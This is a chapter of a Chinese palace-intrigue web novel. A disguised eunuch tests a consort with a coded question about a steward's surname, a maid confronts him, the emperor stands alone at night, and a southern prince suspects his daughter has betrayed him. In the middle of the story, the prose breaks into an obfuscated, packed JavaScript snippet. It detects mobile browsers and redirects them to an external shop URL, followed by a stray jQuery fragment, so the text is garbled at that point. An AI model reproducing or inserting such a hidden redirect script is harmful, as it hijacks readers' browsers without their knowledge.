那个老太监是晌午来的。
来送炭。
天还没真冷，可宫里的规矩，立秋后各宫的份例炭就该陆续添上了。送炭是桩顶不起眼的差事，来的也是个顶不起眼的人——一个上了年纪的老太监，背有点驼，捧着炭册，垂着眼，跟在两个抬炭的小火者后头，慢吞吞地进了拉妃偏殿的院子。
娟儿迎出去查验。老太监把炭册递上，又指挥着小火者把炭篓搬进耳房码好，一举一动都透着股几十年熬出来的、不多事的本分。
老梁本没在意。这种来来去去的杂役，他见得多了。他坐在廊下晒着秋阳，有一搭没一搭地翻着一本闲书。
炭码好了，小火者退了出去。那老太监却没急着走，他捧着空炭册，慢悠悠地踱到廊下，朝老梁打了个千儿。
"奴才李越，给拉妃娘娘请安。"
"嗯。"老梁随口应了一声，没抬头。
李越没有立刻退下。他弯下腰，掸了掸炭篓边沿沾的一点黑灰，像是随口闲话："娘娘这院子，拾掇得真清净。奴才在这宫里几十年，各宫都走遍了，就数娘娘这院儿，最是雅致。"
老梁淡淡"嗯"了一声。这种奉承话他听得多了。
"说起来，娘娘这院子，从前是惠嫔住过的。"李越直起腰，望着院里那株桂树，慢悠悠地，像是在追忆什么，"那位主子，也是个爱清净的。可惜福薄，去得早。算起来，也有十几年了。"
老梁没接话。他不认得什么惠嫔，也懒得接这种宫闱旧事。
李越却像是来了兴致，自顾自地往下说："那会儿伺候惠嫔的，是个姓周的姑姑，手最巧，会做一手好绒花。娘娘可知道，宫里头如今会做那绒花的，可没剩几个了……"
他絮絮叨叨地，说了一长串宫里的旧人旧事，名字一个接一个，听得人昏昏欲睡。老梁有一搭没一搭地应着，眼皮都快撑不住了。
说着说着，李越话锋一转。
"对了，娘娘是打南边来的。"他忽然道，那双浑浊的老眼，看似不经意地，瞟了老梁一眼，"奴才早年，也在南边的王府里当过差。说来也巧，那王府里头，有位管事的老人家，姓……姓秦，秦伯。一手账，算得比谁都清。娘娘在南边那些年，许是也听人提起过这位秦伯？"
老梁翻书的手，顿了一下。
南边。王府。一个姓秦的管事。
这些字眼，他一个都对不上号。他对婉清的南洋岁月一无所知，更不知道什么王府、什么秦伯。
可这老太监问得这样具体，又这样笃定，倒像是认定了他该知道似的。
老梁心里掠过一丝古怪，但面上不显。他合上书，淡淡道："南边的事，我记不大清了。一个管账的老管事，我一个内宅妇人，哪里会留意。"
李越脸上那点絮叨的笑，没动。
"是奴才记岔了。"他轻轻一拍脑门，恍然似的，"瞧奴才这记性。哪里是姓秦，是姓陈，陈伯才对。人老了，不中用了。"
他说着，那双眼睛，却始终没离开老梁的脸。
那目光里头，分明是在等。等老梁说一句什么。
老梁却只是"唔"了一声，重新低下头去，翻他的书。
他不知道李越在等什么。在他听来，这不过是个话多的老太监，把一个旧管事的姓氏记错了，自己又改了过来。秦也好，陈也好，与他何干。
可他没接的这一句，恰恰是李越绕了这么大一个圈子，真正要的那一句。
李越脸上的笑纹，在那一瞬，几不可察地，僵住了。
随即，那点僵，又被他几十年熬出来的功夫，不动声色地，抹平了。
"炭已经码好了，奴才就不打扰娘娘清净了。"他重新堆起那副本分的、什么都没发生过的笑，捧着空炭册，深深打了个千儿，慢吞吞地，退了出去。
老梁头也没抬，由着他去了。
院子里重新静下来。秋阳照着，桂花的香气，一阵一阵的。
老梁翻着书，翻着翻着，却觉出一点不对来。
他放下书，望着那老太监消失的月洞门，皱起了眉。
方才那番话，越想越怪。一个送炭的，跟他扯什么南边的王府、什么姓秦姓陈的老管事，扯得没头没脑。还有那老东西临走前看他的那一眼——
那不是一个奴才看主子的眼神。
老梁说不清那是什么，可他见惯了人脸上那点藏不住的东西。那一眼里头，有一种说不出的、沉下去的味道，像是……像是他没能给出一个，对方等了很久的答案。
老梁捏着书，盯着那株桂树，盯了很久。
他到底没想明白。线索太少了。他只能把这桩怪事，连同那封读不懂的残信、那支簪子、母亲那把藏着的刀，一并压进心里那个越来越满的匣子里。
李越是傍晚走的。
可他没有立刻出宫。
他绕到了拉妃偏殿后头的一段宫墙底下，站在那儿，望着天，像是在歇脚。
娟儿是跟出来的。
她从晌午起就觉着不对。那个老太监，话太多了。一个送炭的，哪有那么多话，跟自家娘娘扯东扯西，扯的还都是些南边的、旧年的事。娟儿在华府待过，吃过暗亏，丢过一个孩子——她对这种"没来由的热络"，比谁都警觉。
她追出来，在那段宫墙底下，截住了李越。
"李公公。"
李越回过头，看见是拉妃身边那个小丫鬟，眼底闪过一丝不易察觉的东西，随即堆起笑："是娟儿姑娘。可是娘娘还有什么吩咐？"
"没什么吩咐。"娟儿盯着他，"奴婢就是想问问公公，您方才跟我家娘娘说的那些话，是什么意思？"
"什么什么意思？"李越笑得愈发和气，"老奴不过是跟娘娘闲话几句家常罢了。"
"家常？"娟儿不依，"公公一个送炭的，跟我家娘娘，扯什么南边的王府，扯什么姓秦姓陈的管事？这也是家常？"
李越脸上的笑，纹丝没动。可他看着娟儿的那双老眼，慢慢地，沉了下来。
那是一种娟儿从没在一个老太监脸上见过的东西。沉，静，底下藏着点凉。
"娟儿姑娘，"他不紧不慢地开口，声音还是那样和气，可那和气底下，像是裹着一层冰，"你是打哪个府上出来的？"
娟儿一愣。
"在这宫里头当差，有一桩顶要紧的本事。"李越慢悠悠地说，"就是该听的听，不该听的，揣着糊涂。该问的问，不该问的，烂在肚子里。姑娘还年轻，路还长。有些话，听过就忘了干净，对姑娘，是好事。"
他说完，也不等娟儿回话，重新堆起那副本分的笑，打了个千儿，捧着炭册，慢吞吞地，转身去了。
娟儿站在那段宫墙底下，看着他驼着背走远，心里头那点不安，非但没下去，反倒像被那番话，浇得更重了。
她在那儿站了好一会儿，才慢慢往回走。
回到偏殿，老梁正坐在廊下出神。娟儿走到他跟前，张了张嘴，想把方才的事说了。
可话到嘴边，又咽了回去。
她说不清。那老太监的话，那番冷飕飕的告诫，她听着不对，却又说不出到底哪里不对。她怕自己说不明白，反倒叫娘娘跟着她瞎担心。
"娘娘……"她迟疑着。
"嗯？"老梁抬起头。
娟儿看着他，那张她伺候了许久的、却又总让她觉得"跟从前有点不一样"的脸，到了嘴边的话，又散了。
"……没什么。"她低下头，"奴婢去给您备晚膳。"
她转身进了屋。
老梁看着她的背影，觉出一点异样，可娟儿没说，他也没多问。
廊下的两个人，一个揣着满肚子说不清的不安，一个揣着满匣子拼不拢的疑团，谁也没跟谁，把那点东西，倒出来。
入了夜，老梁睡不着。
他在偏殿里翻来覆去，脑子里全是那个老太监、那封残信、那些个对不上的字眼。索性披了件衣裳，起身，出了殿门，想到院里透透气。
夜里的宫城，静得吓人。
他没什么目的地，顺着宫道，慢慢地走。秋夜的风凉，吹在脸上，倒让他那颗乱糟糟的脑子，清醒了些。
走着走着，他抬起头，望见前头不远，乾元殿的方向，还亮着灯。
那是皇帝的寝殿。
老梁脚下顿了顿。这个时辰了，怎么还亮着。
他鬼使神差地，又往前多走了几步，在一处宫墙的拐角，停住了。
他看见了那个人。
乾元殿外，高高的白玉石阶上，一个人，正一个人站在那儿。
没穿龙袍。只穿着一身单薄的寝衣，在夜风里。他仰着头，望着天上那轮月亮，一动不动，也不知站了多久。
那是永昌帝。
老梁躲在墙角的阴影里，没敢出声，也没敢上前。
他就那么远远地看着。
白日里那个皇帝，是凶的，是端着的，是九五之尊。可此刻，月光底下，那个独自站在高阶上、穿着单衣望月的男人，身上没有半分帝王的威仪。他就是一个人。一个被那么大一座宫城、那么高的一把椅子，孤零零地，架在最上头的人。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900898|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
四下里没有一个宫人。他把所有人都屏退了。他要的，是一个人待着。
可一个人待着，又是这样的，望着月亮，半天半天地，不动。
老梁站在阴影里，看了很久。
他没有过去。他知道自己不该过去。那个人要的是独处，是没有人看见他这副样子。
他悄悄地，退了回去。
回到偏殿，躺下，黑暗里，他睁着眼。
白天那些个乱七八糟的事——老太监、残信、对不上的字眼——竟一时都退到了脑后。他脑子里翻来覆去的，是方才月光底下，那个独自站着的、单薄的背影。
他对那个男人那点说不清的、连他自己都觉得荒唐的"心疼"，不知怎么的，又多了那么一点。
他骗着那个人。用酒，用话，用一份假的懂得。
可那个人，是真的孤。
老梁翻了个身，闭上眼。
窗外，秋夜的风，一阵一阵，刮过院里那株桂树，落下几瓣残花，无声无息地，铺在冰冷的宫砖上。
两千里外，南海之滨。
那封从宫里辗转传出来的回报，送到延平王手上时，已是半个月之后。
延平王在那间临海的书房里，把那张薄薄的、用密语写就的纸条，看了三遍。
李越在纸条上回报：联络上了。拉妃确是当年的婉清，模样、来历，都对得上。
可是，对不上暗号。
延平王捏着那张纸条，立在窗前，久久没有动。
窗外的海，还是那样灰蓝地、永不停歇地涌着。
"王爷？"老周在一旁，低声唤了一句。
延平王没有回头。
"她，"他缓缓开口，声音听不出情绪，"没认那个名字。"
老周一惊："您是说，那个'陈伯'的暗号？"
延平王没有答。
那个暗号，是他和婉清，临别那一夜，亲口对过的。来人若提起南边王府一个姓"秦"的管事，再自己改口说是姓"陈"——婉清便该接一句，不是陈伯，是程伯，程伯当年最疼她。一错，再错，错到第三个姓上，对上"程"字，这才是真的。三道错，才认一个对。这是死契，是怕万一有人探到只言片语、依样画葫芦地诈她。
"她一个字都没接。"延平王缓缓道，"由着李越，把'秦'改成了'陈'，她连个错都不肯纠。"
老周怔住了："这……会不会是娘娘身边有人盯着，她不敢认？"
"或许。"
"那……还能是什么缘故？"
延平王没有立刻说话。
他望着窗外那片苍茫的海，那双古井般的眼睛里，有什么东西，一点一点地，沉了下去，凉了下去。
"或许，"良久，他才开口，声音轻得几乎要被海风卷走，"是她，不想认了。"
老周愣住了。
"她进了宫。"延平王缓缓道，每一个字，都像是从胸腔里，一点一点碾出来的，"那个皇帝，宠着她，封了她做妃。我那个女儿，从小颠沛，吃尽了苦。如今，泼天的荣华，到了她眼前。"
他闭了闭眼。
"凤冠霞帔，锦衣玉食。这宫里的好处，是会迷人眼的。会让人忘了，自己是谁，从哪儿来，当年，是为了什么，才把自己嫁进那座华府的。"
书房里，死一般地静。只有窗外的涛声，一下，一下。
"王爷，"老周的声音都有些发颤了，"婉清姑娘不是那样的人……"
"人是会变的，老周。"延平王打断他，那声音里头，有一种深不见底的疲惫和苍凉，"尤其是，在尝过了甜头之后。"
他转过身，背对着那扇窗。逆着光，老周看不清他的脸，只看见那花白的鬓发，和那微微佝偻下去的、像是被什么重物压着的脊背。
"我把她推进那座华府的时候，"延平王闷闷地道，"她跪在我面前，说了一句'是，父亲'。"
"我一直当那是懂事。如今我倒要想想——那一声'是'的底下，到底是认命，是孝顺，还是……是恨。"
他停了很久。
"再探。"他终于开口，声音重新变得冷硬、平稳，"叫李越，换个法子，再探。我要知道，她到底是不敢认，还是不肯认。是身不由己——还是，变了心。"
"在弄清楚这个之前，那枚印，那盘棋，我一步都不敢往她身上押。"
海风灌进书房，吹得那张密语纸条，在他指间，簌簌地响。
窗外，夕阳一点一点沉进海里，把那片灰蓝的海，烧成了一片殷红。